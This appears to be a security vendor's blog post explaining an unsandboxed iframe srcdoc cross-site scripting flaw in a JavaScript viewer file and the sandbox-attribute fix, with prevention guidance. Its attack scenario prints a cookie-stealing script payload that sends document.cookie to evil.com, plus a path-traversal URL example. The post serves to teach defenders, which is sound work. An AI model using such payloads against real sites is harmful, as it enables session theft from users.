Back to Blog
critical SEVERITY8 min read

How Unsandboxed iframe Content Injection happens in JavaScript and how to fix it

A critical vulnerability in `app-viewer/js/LupineVault.js` allowed attacker-controlled HTML fetched from an external CDN to execute scripts in the application's full origin context by injecting it directly into an iframe's `srcdoc` attribute without any sandbox restrictions. The fix adds a `sandbox` attribute to the iframe element, restricting what the injected content can do even if it contains malicious scripts. This prevents cross-site scripting and origin-context script execution that could

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is an unsandboxed iframe content injection vulnerability (related to CWE-79, Cross-Site Scripting) in JavaScript, found in `app-viewer/js/LupineVault.js`. Fetched HTML from an external CDN was written directly into `viewerFrame.srcdoc` without restricting the iframe's capabilities, allowing injected scripts to execute in the parent page's origin context. The fix adds `viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock"` before the `srcdoc` assignment, which confines the iframe content and prevents it from accessing the parent origin, cookies, or local storage.

Vulnerability at a Glance

cweCWE-79
fixSet `viewerFrame.sandbox` to a restrictive permission set before assigning `srcdoc`, isolating injected content from the parent origin
riskAttacker-controlled HTML executes scripts in the application's origin context, enabling session theft, DOM manipulation, and data exfiltration
languageJavaScript
root causeFetched external HTML injected into `viewerFrame.srcdoc` with no `sandbox` attribute restricting iframe capabilities
vulnerabilityUnsandboxed iframe srcdoc HTML Injection (XSS)

How Unsandboxed iframe Content Injection Happens in JavaScript and How to Fix It

Introduction

The app-viewer/js/LupineVault.js file is responsible for loading game viewer content by fetching HTML from an external CDN based on a URL query parameter. It sounds straightforward — grab some HTML, display it in a frame — but a subtle omission in how that frame was configured turned this routine operation into a critical security vulnerability.

The problematic pattern was this: fetched HTML was assigned directly to viewerFrame.srcdoc without ever setting a sandbox attribute on the iframe. That single missing attribute meant any script embedded in the fetched HTML would execute in the full origin context of the application — with access to cookies, local storage, and the ability to manipulate the parent DOM.

This matters for any developer who uses iframes to display remotely fetched or user-influenced content. The srcdoc property is deceptively powerful: unlike a static src URL that a browser can reason about independently, srcdoc injects raw HTML markup directly into the iframe's document, making sandboxing not just a best practice but a necessity.


The Vulnerability Explained

What the Code Was Doing

Inside LupineVault.js, the application constructs a fetch URL using a gameName parameter taken from the URL query string. After fetching the HTML, it assigns the result to viewerFrame.srcdoc:

// VULNERABLE CODE (before fix)
processedHtml = htmlText;
viewerFrame.srcdoc = htmlText;  // Raw fetched HTML injected with no sandbox

While encodeURIComponent is applied to the gameName parameter before building the fetch URL, this only protects the URL construction step. It does nothing to sanitize the actual HTML content returned by the CDN. Once the fetch completes, htmlText — the raw response body — flows directly into srcdoc.

Why This Is Dangerous

An iframe without a sandbox attribute inherits the same origin as its parent page. This means:

  • Scripts in the injected HTML run as if they were part of the parent application.
  • They can read document.cookie and localStorage from the parent origin.
  • They can make authenticated requests using the user's session.
  • They can manipulate the parent DOM via window.parent.

The openNewTab handler compounded the issue further by writing raw fetched HTML using tab.document.write(html), which executes scripts in the opener's origin context — essentially the same problem in a second attack surface.

Concrete Attack Scenario

Consider an attacker who either:

  1. Controls the CDN path: If the CDN serving the game HTML is compromised, misconfigured, or allows user-uploaded content, the attacker serves a response containing <script>document.location='https://evil.com/?c='+document.cookie</script>.

  2. Crafts a malicious view parameter: If the URL routing or CDN path construction has any flexibility, an attacker crafts a URL like:
    https://app.example.com/viewer?gameName=../../malicious-path
    The encodeURIComponent call won't help here if the path traversal resolves server-side before the CDN responds.

In either case, when the victim loads the crafted URL, viewerFrame.srcdoc receives the malicious HTML, the embedded script runs with the application's full origin privileges, and the attacker exfiltrates session cookies or performs actions on behalf of the user.


The Fix

What Changed

The fix is a single line added in LupineVault.js, inserted before the srcdoc assignment:

  processedHtml = htmlText;
+ viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock";
  viewerFrame.srcdoc = htmlText;

Before vs. After

Before (vulnerable):

processedHtml = htmlText;
viewerFrame.srcdoc = htmlText;
// iframe has no sandbox — scripts run in parent origin context

After (fixed):

processedHtml = htmlText;
viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock";
viewerFrame.srcdoc = htmlText;
// iframe is sandboxed — scripts are isolated from parent origin

Why This Fix Works

The HTML sandbox attribute (and its JavaScript equivalent, the sandbox property) applies a set of restrictions to iframe content. Crucially, by default, a sandboxed iframe is treated as a unique origin — completely separate from the parent page. This means:

Capability Without Sandbox With Sandbox (this fix)
Access parent cookies ✅ Yes ❌ Blocked
Access parent localStorage ✅ Yes ❌ Blocked
Manipulate parent DOM ✅ Yes ❌ Blocked
Execute scripts ✅ Yes ✅ Allowed (allow-scripts)
Submit forms ✅ Yes ✅ Allowed (allow-forms)
Open popups ✅ Yes ✅ Allowed (allow-popups)
Same-origin access ✅ Yes ❌ Blocked (not in list)

The key permission not included in the fix is allow-same-origin. Including that would restore the parent-origin relationship and largely defeat the purpose of sandboxing. By omitting it, the fix ensures that even if the fetched HTML contains malicious scripts, those scripts are confined to the iframe's isolated origin and cannot touch the parent application's data.

The permissions that are included (allow-scripts, allow-forms, allow-popups, allow-pointer-lock) preserve the legitimate functionality of the game viewer content — games need to run scripts, handle input, and potentially open tabs — while eliminating the privilege escalation path.


Prevention & Best Practices

1. Always Sandbox iframes Displaying External or User-Influenced Content

Any time an iframe loads content from:
- An external URL
- A fetch response
- User-supplied data

...it should carry a sandbox attribute. The minimum-privilege principle applies: start with an empty sandbox (sandbox="") and add only the permissions the content actually needs.

<!-- Minimum sandbox — no scripts, no forms, no nothing -->
<iframe sandbox srcdoc="..."></iframe>

<!-- Add back only what's needed -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="..."></iframe>

2. Never Include allow-same-origin with allow-scripts

The combination of allow-same-origin and allow-scripts is explicitly called out in the HTML specification as dangerous — it allows the sandboxed content to remove its own sandbox restrictions via script. If you need allow-scripts, omit allow-same-origin.

3. Treat Fetched HTML as Untrusted Input

Even if you control the CDN, treat its responses as untrusted. CDNs can be compromised, misconfigured, or serve cached malicious content. Apply defense in depth:

  • Sandbox the iframe (as this fix does).
  • Consider using a Content Security Policy (CSP) header that restricts what scripts can execute.
  • If the HTML content can be constrained, use a sanitization library like DOMPurify before injecting.

4. Avoid document.write() with Remote HTML

The openNewTab handler using tab.document.write(html) is a related risk. document.write() with externally fetched HTML in a new tab executes in the opener's origin. Prefer creating a sandboxed iframe in the new tab or using a Blob URL with appropriate MIME type restrictions.

// Safer alternative to document.write(html) for external content
const blob = new Blob([html], { type: 'text/html' });
const url = URL.createObjectURL(blob);
tab.location = url;

5. Use Static Analysis

Configure your CI pipeline to catch these patterns before they reach production:

  • Semgrep: Write a rule that flags element.srcdoc = assignments where element.sandbox is not set in the same code block.
  • ESLint plugins: Security-focused ESLint plugins can flag dangerous DOM assignments.
  • Orbis AppSec: Automatically detected this specific taint flow from fetch response to unsandboxed srcdoc.

Relevant Standards


Key Takeaways

  • viewerFrame.srcdoc without a sandbox attribute is a script execution sink — any HTML assigned to it runs with the parent page's full origin privileges.
  • encodeURIComponent() on the fetch URL does not sanitize the fetched response — these are two separate data flows, and protecting one does nothing for the other.
  • The sandbox fix works because it removes allow-same-origin — the iframe gets a unique, isolated origin, so even scripts that execute cannot access the parent application's cookies or DOM.
  • document.write(html) in a new tab is the same class of vulnerability — writing externally fetched HTML into any document context without isolation is dangerous.
  • One line of code eliminated a critical attack surfaceviewerFrame.sandbox = "..." before the srcdoc assignment is all it took to contain the threat.

How Orbis AppSec Detected This

  • Source: The gameName URL query parameter, used to construct a CDN fetch URL in LupineVault.js
  • Sink: viewerFrame.srcdoc = htmlText — assignment of raw fetched HTML to an unsandboxed iframe's srcdoc property
  • Missing control: No sandbox attribute on the iframe element; no HTML sanitization of the fetched response body before injection
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
  • Fix: Added viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock" immediately before the srcdoc assignment, isolating the iframe content in a unique origin and preventing parent-context script execution.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in LupineVault.js is a textbook example of how a single missing attribute can turn a routine display operation into a critical security hole. Fetching HTML and displaying it in an iframe is a common, legitimate pattern — but without the sandbox attribute, the iframe is not really a container at all. It's a direct execution environment with full access to the parent application's origin.

The fix demonstrates that security improvements don't always require architectural overhauls. A single property assignment — viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock" — transforms the iframe from an open execution context into a properly isolated container. The game viewer continues to function exactly as intended, but the blast radius of any malicious content it might display is now contained.

For developers working with iframes, the rule is simple: if you didn't write the HTML yourself, sandbox the frame that displays it. Treat srcdoc and innerHTML as sinks that demand the same scrutiny you'd give a eval() call or a shell command.


References

Frequently Asked Questions

What is unsandboxed iframe content injection?

It occurs when externally fetched or user-influenced HTML is inserted into an iframe's `srcdoc` (or `src`) without applying the HTML `sandbox` attribute, allowing scripts in that content to run with the same privileges as the parent page's origin.

How do you prevent iframe srcdoc XSS in JavaScript?

Always set the `sandbox` attribute on iframes that display untrusted or externally fetched HTML. Grant only the minimum permissions needed (e.g., `allow-scripts`) and never include `allow-same-origin`, which would negate the sandbox's origin isolation.

What CWE is unsandboxed iframe injection?

CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) is the primary classification. CWE-116 (Improper Encoding or Escaping of Output) and CWE-693 (Protection Mechanism Failure) are also applicable.

Is encodeURIComponent() enough to prevent this vulnerability?

No. `encodeURIComponent()` only protects the URL used to fetch the remote HTML — it does nothing to sanitize the HTML content that is fetched and then injected into `srcdoc`. The fetched HTML itself must be sanitized or the iframe must be sandboxed.

Can static analysis detect unsandboxed iframe injection?

Yes. Static analysis tools like Semgrep can flag patterns where `srcdoc` or `innerHTML` is assigned a value derived from a network fetch without a corresponding sandbox attribute or sanitization step. Orbis AppSec detected exactly this pattern automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13

Related Articles

critical

How Unsanitized External Content Injection happens in JavaScript and how to fix it

A critical content injection vulnerability in `app-viewer/js/youtube.js` allowed arbitrary HTML and JavaScript from a compromised external CDN to execute directly in the hosting origin's context. The fix replaces unsafe `fetch()`-then-inject patterns with direct URL assignment, eliminating the attack surface entirely. This change prevents supply-chain-style attacks where a compromised JSON manifest could deliver malicious payloads to every user of the viewer.

critical

How Unsafe Attribute Injection happens in JavaScript i18n and how to fix it

A critical attribute injection vulnerability in `assets/js/language.js` allowed attackers with write access to locale JSON files to inject arbitrary HTML attributes — including event handlers like `onclick` — into DOM elements via the `applyTranslations()` function. The fix introduces a strict allowlist (`SAFE_ATTRS`) that restricts which attributes the i18n system can set, closing the injection path entirely. This is a concrete reminder that any code path that writes attacker-influenced data in

critical

How DOM-Based XSS Happens in JavaScript CSS Selectors and How to Fix It

A DOM-based XSS vulnerability in SaltGUI's `Output.js` allowed attackers to inject malicious characters into CSS query selectors by manipulating minion ID values. The root cause was that `btoa()`-encoded IDs could still contain `+`, `/`, and `=` characters that are invalid in CSS selectors, enabling selector breakout. The fix converts the encoding to base64url (RFC 4648 §5), replacing all problematic characters before the ID is used in `querySelector` calls.

critical

How Cross-Site Scripting (XSS) happens in JavaScript browser extensions and how to fix it

A cross-site scripting (XSS) vulnerability was discovered in `extension/lib/chatgpt.js` where the `chatgpt.alert()` function used `modalMsg.innerText` to set user-controlled content before passing it to `chatgpt.renderHTML()`, allowing injected HTML to be rendered unsanitized. The fix replaces `innerText` with `textContent` and introduces an allowlist of safe HTML tags and attributes inside `renderHTML()`. This prevents attackers from injecting arbitrary HTML or JavaScript through modal message

high

How XSS via Incomplete HTML Escaping happens in JavaScript Browser Extensions and how to fix it

A high-severity cross-site scripting (XSS) vulnerability was discovered in `extension/lib/popup-response.js`, where the `esc()` HTML-escaping function failed to encode backtick characters. Because backticks are valid JavaScript template literal delimiters and can serve as event handler injection vectors in older browsers, this gap allowed attacker-controlled data to break out of safe HTML encoding and potentially execute arbitrary scripts. The fix adds a single `.replace(/\`/g, "&#96;")` call to

critical

How Archive Path Traversal Happens in Node.js and How to Fix It

CVE-2026-53486 is a critical path traversal vulnerability in the Decompress library, where crafted archive entries can write files and symbolic links outside the intended extraction directory. This vulnerability was transitively introduced through `@vitest/browser` and related packages pinned at version 4.1.5, and was resolved by upgrading to 4.1.6 and 5.0.0-beta.3. Left unpatched, an attacker who controls an archive file processed by any downstream consumer of this dependency chain could overwr